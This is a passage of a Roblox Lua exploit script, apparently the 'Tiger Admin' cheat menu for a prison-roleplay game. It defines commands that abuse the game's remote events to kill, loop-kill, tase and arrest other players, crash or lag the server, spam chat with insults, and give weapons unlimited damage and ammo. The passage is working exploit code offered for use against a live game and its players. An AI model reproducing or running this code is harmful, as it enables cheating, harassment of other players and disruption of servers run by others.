  1557. SetPos(CFrame.new(0.7,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1558. task.wait()
  1559. SetPos(CFrame.new(0.6,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1560. task.wait()
  1561. SetPos(CFrame.new(0.5,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1562. task.wait()
  1563. SetPos(CFrame.new(0.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1564. task.wait()
  1565. SetPos(CFrame.new(0.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1566. task.wait()
  1567. SetPos(CFrame.new(0.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1568. task.wait()
  1569. SetPos(CFrame.new(0,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1570. task.wait()
  1571. SetPos(CFrame.new(-.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1572. task.wait()
  1573. SetPos(CFrame.new(-.2,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1574. task.wait()
  1575. SetPos(CFrame.new(-.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1576. task.wait()
  1577. SetPos(CFrame.new(-.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1578. task.wait()
  1579. SetPos(CFrame.new(-.5,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1580. task.wait()
  1581. SetPos(CFrame.new(-.6,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1582. task.wait()
  1583. SetPos(CFrame.new(-.7,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1584. task.wait()
  1585. SetPos(CFrame.new(-.8,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1586. task.wait()
  1587. wait(.5)
  1588. StopAnimations()
  1589. Idle()
  1590. end
  1591. Mouse.Button1Up:Connect(function()
  1592. if not Target then
  1593. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  1594. if v and v~=Player then
  1595. if (Character:GetPrimaryPartCFrame().Position-v.Character:GetPrimaryPartCFrame().Position).Magnitude <10 and v.Character:FindFirstChildOfClass("Humanoid").Health>1 then
  1596. if not Target then
  1597. Target = v
  1598. Holding()
  1599. break
  1600. end
  1601. end
  1602. end
  1603. end
  1604. end
  1605. end)
  1606. game:GetService("RunService").Stepped:Connect(function()
  1607. if Target and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health>1 then
  1608. Character:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,1.1))
  1609. end
  1610. end)
  1611. game:GetService("UserInputService").InputEnded:Connect(function(a,b)
  1612. if not b then
  1613. if a.KeyCode == Enum.KeyCode.E and Target then
  1614. Slash()
  1615. wait(.5)
  1616. Target = nil
  1617. end
  1618. end
  1619. end)
  1620. end)
  1621. end,nil,nil,true)
  1622. API:CreateCmd("admin", "The selected player can use certain commands", function(args)
  1623. local Target = API:FindPlayer(args[2])
  1624. if Target then
  1625. if not table.find(Temp.Admins,Target.Name) then
  1626. table.insert(Temp.Admins, Target.Name)
  1627. local ohString1 = "/w "..Target.Name.." ".."ADMIN: You have been admined! if you are ready to get started using commands type [!cmds] in chat."
  1628. local ohString2 = "All"
  1629. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  1630. else
  1631. API:Notif("This player is already an admin!",false)
  1632. end
  1633. end
  1634. end,nil,nil,true)
  1635. API:CreateCmd("admins", "Tells you all admins", function(args)
  1636. local Compiled = ""
  1637. for i,v in pairs(Temp.Admins) do
  1638. if v then
  1639. Compiled=Compiled..string.char(32)..v
  1640. end
  1641. end
  1642. API:Notif("Admins: "..Compiled,4)
  1643. end,nil,nil,true)
  1644. API:CreateCmd("crashserver", "Crashes the server", function(args)
  1645. API:CrashServer()
  1646. end,nil,nil,true)
  1647. --5
  1648. API:CreateCmd("oneshot", "Makes a gun oneshot", function(args)
  1649. ChangeState(args[2],"OneShot")
  1650. end,nil,"[ON/OFF]",true)
  1651. API:CreateCmd("anticrash", "Tries to stop simple crashes (DOESNT WORK WITH TIGER ADMIN CRASH)", function(args)
  1652. local Value = ChangeState(args[2],"anticrash")
  1653. if Value then
  1654. pcall(function()
  1655. game:GetService("Players").LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = true
  1656. end)
  1657. else
  1658. pcall(function()
  1659. game:GetService("Players").LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = false
  1660. end)
  1661. end
  1662. end,nil,"[ON/OFF]",true)
  1663. API:CreateCmd("virus", "Anyone who touches the player dies", function(args)
  1664. local r = API:FindPlayer(args[2])
  1665. if r and not table.find(Temp.Viruses,r) then
  1666. table.insert(Temp.Viruses, r)
  1667. API:Notif("Player now has covid-19")
  1668. end
  1669. end,nil,"[PLAYER]",true)
  1670. API:CreateCmd("unvirus", "Removes virus from player", function(args)
  1671. local r = API:FindPlayer(args[2])
  1672. if r and table.find(Temp.Viruses,r) then
  1673. table.remove(Temp.Viruses,table.find(Temp.Viruses,r))
  1674. API:Notif("Removed covid-19 from player")
  1675. end
  1676. end,nil,"[PLAYER]",true)
  1677. API:CreateCmd("lagspike", "Freezes everyones screen for some seconds", function(args)
  1678. local a = game:GetService("RunService").Stepped:Connect(function()
  1679. pcall(function()
  1680. plr.Character:Destroy()
  1681. end)
  1682. end)
  1683. local a2 = plr.CharacterAdded:Connect(function(a)
  1684. pcall(function()
  1685. a:Destroy()
  1686. end)
  1687. pcall(function()
  1688. plr.Character:Destroy()
  1689. end)
  1690. end)
  1691. for i =1,1500 do
  1692. task.spawn(function()
  1693. workspace.Remote.TeamEvent:FireServer("Bright orange")
  1694. end)
  1695. end
  1696. wait(8)
  1697. a:Disconnect()
  1698. a2:Disconnect()
  1699. wait(.7)
  1700. task.spawn(function()
  1701. workspace.Remote.TeamEvent:FireServer("Bright orange")
  1702. end)
  1703. end,nil,"",true)
  1704. API:CreateCmd("ff", "Forcefield", function(args)
  1705. local Value = ChangeState(args[2],"ff")
  1706. end,nil,"[ON/OFF]",true)
  1707. API:CreateCmd("minigun", "makes a minigun", function(args)
  1708. API:GetGun("AK-47")
  1709. wait(.7)
  1710. local Tool = plr.Backpack:FindFirstChildOfClass("Tool")
  1711. if not Tool:FindFirstChild("GunStates") then
  1712. return API:Notif("Needs to be a gun!",false)
  1713. end
  1714. local cc = require(Tool.GunStates)
  1715. cc["Damage"] = 9e9
  1716. cc["FireRate"] = 0.001
  1717. cc["Range"] = math.huge
  1718. cc["MaxAmmo"] = math.huge
  1719. cc["StoredAmmo"] = math.huge
  1720. cc["AmmoPerClip"] = math.huge
  1721. cc["CurrentAmmo"] = math.huge
  1722. if Tool.Name ~= "Remington 870" then
  1723. cc["Bullets"] = 1
  1724. cc["AutoFire"] = true
  1725. end
  1726. table.insert(Reload_Guns, Tool)
  1727. Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
  1728. API:GetGun("Remington 870")
  1729. wait(.7)
  1730. for i,v in pairs(plr.Backpack:GetChildren()) do
  1731. if v and v:FindFirstChildOfClass("ModuleScript") then
  1732. v.Grip = v.Grip+Vector3.new(0,1,0)
  1733. end
  1734. end
  1735. plr.Backpack:WaitForChild("Remington 870").Parent = plr.Character
  1736. wait(.4)
  1737. plr.Backpack:WaitForChild("AK-47").Parent = plr.Character
  1738. end,nil,"",true)
  1739. API:CreateCmd("music", "plays sound id in your game", function(args)
  1740. local r = args[2]
  1741. if r == "stop" then
  1742. if Temp.MUSICP then
  1743. Temp.MUSICP:Stop()
  1744. Temp.MUSICP:Destroy()
  1745. Temp.MUSICP = nil
  1746. end
  1747. elseif tonumber(Temp.MUSICP) then
  1748. local a = Instance.new("Sound",workspace)
  1749. a.Volume = 1
  1750. a.Name = "Music"
  1751. a.Looped = true
  1752. a:Play()
  1753. Temp.MUSICP = a
  1754. end
  1755. end,nil,"[ID] OR [STOP]",true)
  1756. API:CreateCmd("spam", "spams a message in game", function(args)
  1757. local r = args[2]
  1758. if tostring(r) then
  1759. if r == "set" and args[3] then
  1760. if not tonumber(args[3]) then
  1761. API:Notif("invalid number!")
  1762. else
  1763. Temp.DelatSpam = tonumber(args[3])
  1764. end
  1765. else
  1766. if r == "stop" then
  1767. Temp.spamming = nil
  1768. else
  1769. Temp.spamming = true
  1770. task.spawn(function()
  1771. repeat wait(Temp.DelatSpam or 1.5)
  1772. local ohString1 = r
  1773. local ohString2 = "All"
  1774. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  1775. until not Temp.spamming
  1776. end)
  1777. end
  1778. end
  1779. end
  1780. end,nil,"[MSG,STOP, SET (seconds delay) ex: !spam set 3]",true)
  1781. API:CreateCmd("roast", "spams a message in game", function(args)
  1782. local Target = API:FindPlayer(args[2])
  1783. local Roasts = {
  1784. "plr3's belt size is 'equator',",
  1785. "plr3 is so dumb that not even Dora can explore her,",
  1786. "plr3 is so bad, that it took 2 buses & 1 train to get plr3 to the good side,",
  1787. "plr3 stepped onto a scale, and it said 'TO BE CONTINUED'.",
  1788. "I swerved to miss plr3 in my car and ran out of gas,",
  1789. "When plr3 wears high heels, plr3 strikes oil.",
  1790. "Did you know that plr3 gets group insurance,",
  1791. "When plr3 skips a meal, the stock market drops,",
  1792. "When plr3 goes camping, the bears hide their food.",
  1793. }
  1794. if Target then
  1795. local Compiled = Roasts[math.random(1,#Roasts)]
  1796. Compiled = Compiled:gsub("plr3",Target.DisplayName)
  1797. local ohString1 = Compiled
  1798. local ohString2 = "All"
  1799. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  1800. end
  1801. end,nil,"[TARGET]",true)
  1802. API:CreateCmd("joinlogs", "tells you who is leaving and joining", function(args)
  1803. local Value = ChangeState(args[2],"joinlogs")
  1804. if Value then
  1805. Temp.joinning = game:GetService("Players").PlayerAdded:Connect(function(a)
  1806. game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "[JOIN LOGS]: "..a.Name.." has joined the game!", Color = Color3.fromRGB(16, 243, 255), Font = Enum.Font.SourceSansBold, FontSize = Enum.FontSize.Size24 } )
  1807.  
  1808. end)
  1809. Temp.joinning2 = game:GetService("Players").PlayerRemoving:Connect(function(a)
  1810. game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "[JOIN LOGS]: "..a.Name.." has left the game!", Color = Color3.fromRGB(50, 14, 255), Font = Enum.Font.SourceSansBold, FontSize = Enum.FontSize.Size24 } )
  1811. end)
  1812. else
  1813. pcall(function()
  1814. Temp.joinning2:Disconnect()
  1815. Temp.joinning:Disconnect()
  1816. end)
  1817. end
  1818. end,nil,"[ON/OFF]",true)
  1819. API:CreateCmd("antifling", "prevents players from flinging you", function(args)
  1820. local Value = ChangeState(args[2],"AntiFling")
  1821. end,nil,"[ON/OFF]",true)
  1822. API:CreateCmd("mkill", "kills player by teleport", function(args)
  1823. local function MKILL(target,STOP,P)
  1824. if target == plr or target == plr.Name then
  1825. return
  1826. end
  1827. if typeof(target):lower() == "string" and game:GetService("Players"):FindFirstChild(target) then
  1828. target = game:GetService("Players"):FindFirstChild(target)
  1829. end
  1830. if not STOP then STOP =1 end
  1831. if not target or not target.Character or not target.Character:FindFirstChild("Humanoid") or target.Character:FindFirstChildOfClass("ForceField") or target.Character:FindFirstChild("Humanoid").Health<1 or not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or not plr.Character:FindFirstChild("HumanoidRootPart") then
  1832. return
  1833. end
  1834. API:UnSit()
  1835. local saved = API:GetPosition()
  1836. if not P then P = saved else saved = P end
  1837. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = target.Character:FindFirstChild("Head").CFrame
  1838. wait(.2)
  1839. for i =1,10 do
  1840. task.spawn(function()
  1841. game.ReplicatedStorage["meleeEvent"]:FireServer(target)
  1842. end)
  1843. end
  1844. wait(.1)
  1845. if target and target.Character and target.Character:FindFirstChild("Humanoid") and target.Character:FindFirstChild("Humanoid").Health >1 and STOP ~=3 then
  1846. MKILL(target,STOP+1,P)
  1847. return
  1848. end
  1849. API:MoveTo(saved)
  1850. end
  1851. local r = API:FindPlayer(args[2])
  1852. if r then
  1853. MKILL(r)
  1854. end
  1855. end,nil,"[PLAYER]",true)
  1856. API:CreateCmd("loopmkill", "kills player by teleport loopkill", function(args)
  1857. local r = API:FindPlayer(args[2])
  1858. if r and not table.find(Temp.LoopmKilling,r.Name) then
  1859. table.insert(Temp.LoopmKilling, r.Name)
  1860. API:Notif("Now loopkilling player")
  1861. end
  1862. end,nil,"[PLAYER]",true)
  1863. API:CreateCmd("unloopmkill", "kills player by teleport loopkill", function(args)
  1864. local r = API:FindPlayer(args[2])
  1865. if r and table.find(Temp.LoopmKilling,r.Name) then
  1866. table.remove(Temp.LoopmKilling,table.find(Temp.LoopmKilling,r.Name))
  1867. API:Notif("Now unloopkilling player")
  1868. end
  1869. end,nil,"[PLAYER]",true)
  1870. API:CreateCmd("godmode", "Turns on all settings that prevent you from harm", function(args)
  1871. local Value = ChangeState(args[2],"Godmode")
  1872. if Value then
  1873. States.AntiArrest = true
  1874. States.AntiTase = true
  1875. States.AntiFling = true
  1876. States.antipunch = true
  1877. States.ShootBack = true
  1878. States.AutoItems = true
  1879. States.Antishield = true
  1880. States.anticrash = true
  1881. States.AutoRespawn = true
  1882. wait(.1)
  1883. API:Refresh(true)
  1884. else
  1885. States.AntiArrest = false
  1886. States.AntiTase = false
  1887. States.AntiFling = false
  1888. States.antipunch = false
  1889. States.ShootBack = false
  1890. States.AutoItems = false
  1891. States.Antishield = false
  1892. States.anticrash = false
  1893. end
  1894. end,nil,"[ON/OFF]",true)
  1895. API:CreateCmd("superknife", "One shot knife", function(args)
  1896. workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
  1897. wait(.6)
  1898. local tool = plr.Backpack:WaitForChild("Crude Knife")
  1899. tool.Name = "Super knife"
  1900. if tool then
  1901. Temp.superthingy = game:GetService("UserInputService").InputEnded:Connect(function(inp,endi)
  1902. if not endi then
  1903. if not tool then
  1904. Temp.superthingy = nil
  1905. end
  1906. if inp.UserInputType == Enum.UserInputType.MouseButton1 then
  1907. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  1908. if v and v~=plr and (v.Character:GetPrimaryPartCFrame().Position-API:GetPosition()*CFrame.new(0,0,.4).Position).Magnitude <3.6 then
  1909. for i =1,20 do
  1910. task.spawn(function()
  1911. game:GetService("ReplicatedStorage").meleeEvent:FireServer(v)
  1912. end)
  1913. end
  1914. end
  1915. end
  1916. end
  1917. end
  1918. end)
  1919. end
  1920. end,nil,"",true)
  1921. API:CreateCmd("autoadmin", "Admins someone even if you leave and rejoin", function(args)
  1922. local Target = API:FindPlayer(args[2])
  1923. if Target then
  1924. local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
  1925. local Found = API:FindString(Target.Name,Content)
  1926. local New = {}
  1927. for i,v in pairs(Content) do
  1928. if v then
  1929. New[i] = v
  1930. end
  1931. end
  1932. table.Insert(New, Target.Name)
  1933. if not Found then
  1934. local ohString1 = "/w "..Target.Name.." ".."ADMIN: You have been Autoadmined type [!cmds] in chat to get started!"
  1935. local ohString2 = "All"
  1936. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  1937. writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode(New))
  1938. API:Notif("Player has been autoadmined")
  1939. end
  1940. end
  1941. end,nil,"[PLAYER]",true)
  1942.  
  1943. API:CreateCmd("unautoadmin", "unauto admins a player", function(args)
  1944. local Target = API:FindPlayer(args[2])
  1945. if Target then
  1946. local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
  1947. local Found = API:FindString(Target.Name,Content)
  1948. local New = {}
  1949. for i,v in pairs(Content) do
  1950. if v then
  1951. New[i] = v
  1952. end
  1953. end
  1954. table.remove(New,table.find(New,Target.Name))
  1955. pcall(function()
  1956. table.remove(Temp.Admins,table.find(Temp.Admins,Target.Name))
  1957. end)
  1958. if Found then
  1959. writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode(New))
  1960. API:Notif("Player has been removed from autoadmin list")
  1961. end
  1962. end
  1963. end,nil,"[PLAYER]",true)
  1964. API:CreateCmd("earrape", "spams sounds", function(args)
  1965. local Value = ChangeState(args[2],"earrape")
  1966. if Value then
  1967. while wait(.1) do
  1968. for i,v in pairs(workspace:GetDescendants()) do
  1969. if v:IsA("Sound") then
  1970. v:Play()
  1971. end
  1972. end
  1973. if not States.earrape or Unloaded then
  1974. break
  1975. end
  1976. end
  1977. end
  1978. end,nil,"[ON/OFF]",true)
  1979. end
  1980. --//end of premium
  1981. API:CreateCmd("drag", "Enables draggable mode for all tiger guis", function(args)
  1982. local Value = ChangeState(args[2],"DraggableGuis")
  1983. end,nil,"- ENABLES DRAGGABLE GUIS")
  1984. API:CreateCmd("js", "owner", function(args)
  1985. if PremiumActivated then
  1986. if args[2] then
  1987. local PutIn = {}
  1988. for i,v in pairs(args) do
  1989. if v ~=nil and i ~= 1 then
  1990. table.insert(PutIn, v)
  1991. end
  1992. end
  1993. PublicOutput(table.concat(PutIn))
  1994. end
  1995. end
  1996. end,true,"",true,true)
  1997. API:CreateCmd("doors", "prevents players from flinging you", function(args)
  1998. local Value = ChangeState(args[2],"DoorsDestroy")
  1999. if Value then
  2000. workspace.Doors.Parent = game.Lighting
  2001. else
  2002. game.Lighting.Doors.Parent = workspace
  2003. end
  2004. end,nil,"[ON/OFF]")
  2005. API:CreateCmd("copyteam", "copies a player team looped", function(args)
  2006. local r = API:FindPlayer(args[2])
  2007. if r then
  2008. API:ChangeTeam(r.TeamColor.Name)
  2009. Temp.CPTConnect = r:GetPropertyChangedSignal("Team"):Connect(function()
  2010. if Player.Team ~= r.Team then
  2011. API:ChangeTeam(r.Team,true)
  2012. end
  2013. end)
  2014. API:Notif("Loop team changing now.")
  2015. end
  2016. end,nil,"[PLAYER]")
  2017. API:CreateCmd("speed", "sets your players speed", function(args)
  2018. if args[2] and tonumber(args[2]) then
  2019. plr.Character:FindFirstChildOfClass("Humanoid").WalkSpeed = tonumber(args[2])
  2020. else
  2021. API:Notif("Please set a valid number!")
  2022. end
  2023. end,nil,"[NUMBER]")
  2024. API:CreateCmd("jump", "sets your players jumppower", function(args)
  2025. if args[2] and tonumber(args[2]) then
  2026. plr.Character:FindFirstChildOfClass("Humanoid").JumpPower = tonumber(args[2])
  2027. else
  2028. API:Notif("Please set a valid number!")
  2029. end
  2030. end,nil,"[NUMBER]")
  2031. API:CreateCmd("uncopyteam", "stops copying a players team", function(args)
  2032. Temp.CPTConnect:Disconnect()
  2033. API:Notif("Unloop teamed")
  2034. end,nil,"[PLAYER]")
  2035. API:CreateCmd("kill", "Kills a player", function(args)
  2036. if args[2] == "all" then
  2037. API:killall()
  2038. elseif args[2] == "everyone" then
  2039. API:killall()
  2040. elseif args[2] == "others" then
  2041. API:killall()
  2042. elseif args[2] == "guards" then
  2043. API:killall(game.Teams.Guards)
  2044. elseif args[2] == "inmates" then
  2045. API:killall(game.Teams.Inmates)
  2046. elseif args[2] == "criminals" then
  2047. API:killall(game.Teams.Criminals)
  2048. elseif args[2] == "random" then
  2049. local random = nil
  2050. while true do
  2051. random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
  2052. task.wait()
  2053. if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
  2054. break
  2055. end
  2056. end
  2057. API:KillPlayer(random)
  2058. API:Notif("Killed "..random.Name)
  2059. else
  2060. local Player = API:FindPlayer(args[2])
  2061. if Player then
  2062. API:KillPlayer(Player)
  2063. end
  2064. end
  2065. end,nil,"[PLAYER,ALL,TEAM]")
  2066. API:CreateCmd("arrest", "Arrests the targeted player", function(args)
  2067. if args[2] and args[2] == "all" then
  2068. local LastPosition = API:GetPosition()
  2069. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2070. if v and v~= game:GetService("Players").LocalPlayer and v.Team == game.Teams.Criminals or (API:BadArea(v) and v.Team == game.Teams.Inmates) and v.Character.PrimaryPart and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
  2071. repeat API:swait()
  2072. API:MoveTo(v.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,-4.5))
  2073. task.spawn(function()
  2074. workspace.Remote.arrest:InvokeServer(v.Character.PrimaryPart)
  2075. end)
  2076. until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
  2077. API:MoveTo(LastPosition)
  2078. wait(.7)
  2079. end
  2080. end
  2081. API:MoveTo(LastPosition)
  2082. elseif args[2] and args[2]~="all" then
  2083. local LastPosition = API:GetPosition()
  2084. local Target = API:FindPlayer(args[2])
  2085. if Target then
  2086. if Target.Team == game.Teams.Guards or not API:BadArea(Target) then
  2087. return API:Notif("Can't arrest this player!")
  2088. end
  2089. repeat API:swait()
  2090. API:MoveTo(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,-4.5))
  2091. task.spawn(function()
  2092. workspace.Remote.arrest:InvokeServer(Target.Character.PrimaryPart)
  2093. end)
  2094. until Target.Character["Head"]:FindFirstChildOfClass("BillboardGui")
  2095. end
  2096. API:MoveTo(LastPosition)
  2097. end
  2098. end,nil,"[PLAYER,ALL]")
  2099. local function IsTeamCommandCheck(String)
  2100. for i,v in pairs(game:GetService("Teams"):GetChildren()) do
  2101. if v and v.Name:lower() == String:lower() then
  2102. return v
  2103. end
  2104. end
  2105. return nil
  2106. end
  2107. API:CreateCmd("loopkill", "Kills a player over and over until stopped", function(args)
  2108. if args[2] and IsTeamCommandCheck(args[2]) then
  2109. local Team = IsTeamCommandCheck(args[2])
  2110. if Team == game.Teams.Criminals then
  2111. States.loopkillcriminals = true
  2112. API:Notif("Loopkilling criminals")
  2113. return
  2114. elseif Team == game.Teams.Inmates then
  2115. States.loopkillinmates = true
  2116. API:Notif("Loopkilling inmates")
  2117. return
  2118. elseif Team == game.Teams.Guards then
  2119. API:Notif("Loopkilling guards")
  2120. States.loopkillguards = true
  2121. return
  2122. end
  2123. elseif args[2] == "all" then
  2124. Temp.Loopkillall = true
  2125. API:Notif("Loopkilling all")
  2126. else
  2127. local Player = API:FindPlayer(args[2])
  2128. if not table.find(Temp.Loopkilling,Player.Name) then
  2129. table.insert(Temp.Loopkilling,Player.Name)
  2130. API:Notif("Now loopkilling selected player.")
  2131. else
  2132. API:Notif("Player is already getting loop killed!",false)
  2133. end
  2134. end
  2135. end,nil,"[PLAYER/ALL,TEAM]")
  2136. API:CreateCmd("lk", "Kills a player over and over until stopped", function(args)
  2137. if args[2] and IsTeamCommandCheck(args[2]) then
  2138. local Team = IsTeamCommandCheck(args[2])
  2139. if Team == game.Teams.Criminals then
  2140. States.loopkillcriminals = true
  2141. API:Notif("Loopkilling criminals")
  2142. return
  2143. elseif Team == game.Teams.Inmates then
  2144. States.loopkillinmates = true
  2145. API:Notif("Loopkilling inmates")
  2146. return
  2147. elseif Team == game.Teams.Guards then
  2148. API:Notif("Loopkilling guards")
  2149. States.loopkillguards = true
  2150. return
  2151. end
  2152. elseif args[2] == "all" then
  2153. Temp.Loopkillall = true
  2154. API:Notif("Loopkilling all")
  2155. else
  2156. local Player = API:FindPlayer(args[2])
  2157. if not table.find(Temp.Loopkilling,Player.Name) then
  2158. table.insert(Temp.Loopkilling, Player.Name)
  2159. API:Notif("Now loopkilling selected player.")
  2160. else
  2161. API:Notif("Player is already getting loop killed!",false)
  2162. end
  2163. end
  2164. end,true,"[PLAYER/ALL,TEAM]")
  2165. API:CreateCmd("unloopkill", "Stops loopkilling a player", function(args)
  2166. if args[2] and IsTeamCommandCheck(args[2]) then
  2167. local Team = IsTeamCommandCheck(args[2])
  2168. if Team == game.Teams.Criminals then
  2169. States.loopkillcriminals = false
  2170. API:Notif("unLoopkilling criminals")
  2171. return
  2172. elseif Team == game.Teams.Inmates then
  2173. States.loopkillinmates = false
  2174. API:Notif("unLoopkilling inmates")
  2175. return
  2176. elseif Team == game.Teams.Guards then
  2177. States.loopkillguards = false
  2178. API:Notif("unLoopkilling guards")
  2179. return
  2180. end
  2181. elseif args[2] == "all" then
  2182. Temp.Loopkillall = false
  2183. API:Notif("Unloopkilling all")
  2184. else
  2185. local Player = API:FindPlayer(args[2])
  2186. if table.find(Temp.Loopkilling,Player.Name) then
  2187. table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
  2188. API:Notif("Player has been unlooped")
  2189. else
  2190. API:Notif("Player is not being loopkilled!",false)
  2191. end
  2192. end
  2193. end,nil,"[PLAYER,ALL,TEAM]")
  2194. API:CreateCmd("unlk", "Stops loopkilling a player", function(args)
  2195. if args[2] and IsTeamCommandCheck(args[2]) then
  2196. local Team = IsTeamCommandCheck(args[2])
  2197. if Team == game.Teams.Criminals then
  2198. States.loopkillcriminals = false
  2199. API:Notif("unLoopkilling criminals")
  2200. return
  2201. elseif Team == game.Teams.Inmates then
  2202. States.loopkillinmates = false
  2203. API:Notif("unLoopkilling inmates")
  2204. return
  2205. elseif Team == game.Teams.Guards then
  2206. States.loopkillguards = false
  2207. API:Notif("unLoopkilling guards")
  2208. return
  2209. end
  2210. elseif args[2] == "all" then
  2211. Temp.Loopkillall = false
  2212. API:Notif("Unloopkilling all")
  2213. else
  2214. local Player = API:FindPlayer(args[2])
  2215. if table.find(Temp.Loopkilling,Player.Name) then
  2216. table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
  2217. API:Notif("Player has been unlooped")
  2218. else
  2219. API:Notif("Player is not being loopkilled!",false)
  2220. end
  2221. end
  2222. end,true,"[PLAYER,ALL,TEAM]")
  2223. API:CreateCmd("tase", "Tases the target", function(args)
  2224. if args[2] == "all" then
  2225. local Oldt = Player.Team
  2226. API:ChangeTeam(game.Teams.Guards)
  2227. repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
  2228. wait(.7)
  2229. local ohTable1 = {}
  2230. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2231. if v and v~= Player and v.Team ~= game.Teams.Guards then
  2232. table.insert(ohTable1, {
  2233. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2234. ["Distance"] = -1,
  2235. ["Cframe"] = CFrame.new(),
  2236. ["Hit"] = v.Character.Head
  2237. })
  2238. end
  2239. end
  2240. local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
  2241. game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
  2242. task.spawn(function()
  2243. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  2244. end)
  2245. wait(.7)
  2246. API:ChangeTeam(Oldt)
  2247. elseif args[2] == "criminals" then
  2248. local Oldt = Player.Team
  2249. API:ChangeTeam(game.Teams.Guards)
  2250. repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
  2251. wait(.7)
  2252. local ohTable1 = {}
  2253. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2254. if v and v~= Player and v.Team ~= game.Teams.Guards and v.Team ==game.Teams.Criminals then
  2255. table.insert(ohTable1,{
  2256. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2257. ["Distance"] = -1,
  2258. ["Cframe"] = CFrame.new(),
  2259. ["Hit"] = v.Character.Head
  2260. })
  2261. end
  2262. end
  2263. local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
  2264. game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
  2265. task.spawn(function()
  2266. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  2267. end)
  2268. wait(.7)
  2269. API:ChangeTeam(Oldt)
  2270. elseif args[2] == "inmates" then
  2271. local Oldt = Player.Team
  2272. API:ChangeTeam(game.Teams.Guards)
  2273. repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
  2274. wait()
  2275. local ohTable1 = {}
  2276. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2277. if v and v~= Player and v.Team ~= game.Teams.Guards and v.Team ==game.Teams.Inmates then
  2278. table.insert(ohTable1, {
  2279. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2280. ["Distance"] = -1,
  2281. ["Cframe"] = CFrame.new(),
  2282. ["Hit"] = v.Character.Head
  2283. })
  2284. end
  2285. end
  2286. local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
